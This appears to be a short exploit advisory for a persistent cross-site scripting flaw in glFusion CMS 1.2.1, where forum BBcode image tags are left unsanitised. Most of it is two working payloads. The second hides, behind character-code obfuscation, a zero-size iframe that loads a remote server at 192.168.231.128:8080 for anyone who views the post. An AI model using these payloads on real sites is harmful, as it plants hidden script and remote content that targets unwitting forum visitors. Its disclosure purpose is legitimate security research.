glfusion CMS 1.2.1 – ‘img’ Persistent Cross-Site Scripting
# Exploit Title: glfusion CMS 1.2.1 stored XSS via img tag # Date: 14-1-2010 # Author: Saif El-Sherei # Software Link: www.glfusion.org/filemgmt/viewcat.php?cid=1<http://php.opensourcecms.com/scripts/redirect/download.php?id=33> # Version: 1.2.1 # Tested on: Firefox 3.0.15 Info: * glFusion <http://www.glfusion.org/>* gives you the ability to easily create websites and online communities complete with add-ons like Forums, CAPTCHA/Spam filters, Calendars, File & Media Gallery management solutions, WYSIWYG editors, and MooTools AJAX support, all right out of the box. Details: Failure to sanitize the BBcode image tags in the forum posts allows attacker to perform XSS attacks. also noted that u can't inject any "src" attribute in the attack so we use the second POC. POC: [img w=30><script>alert(123);</script> h=30]images/help.png[/img] [img w=30><script>document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,50,51,49,46,49,50,56,58,56,48,56,48,47,34,32,104,101,105,103,104,116,61,34,48,34,32,119,105,100,116,104,61,34,48,34,62));</script> h=30]x[/img] Regards, Saif El-Sherei OSCP |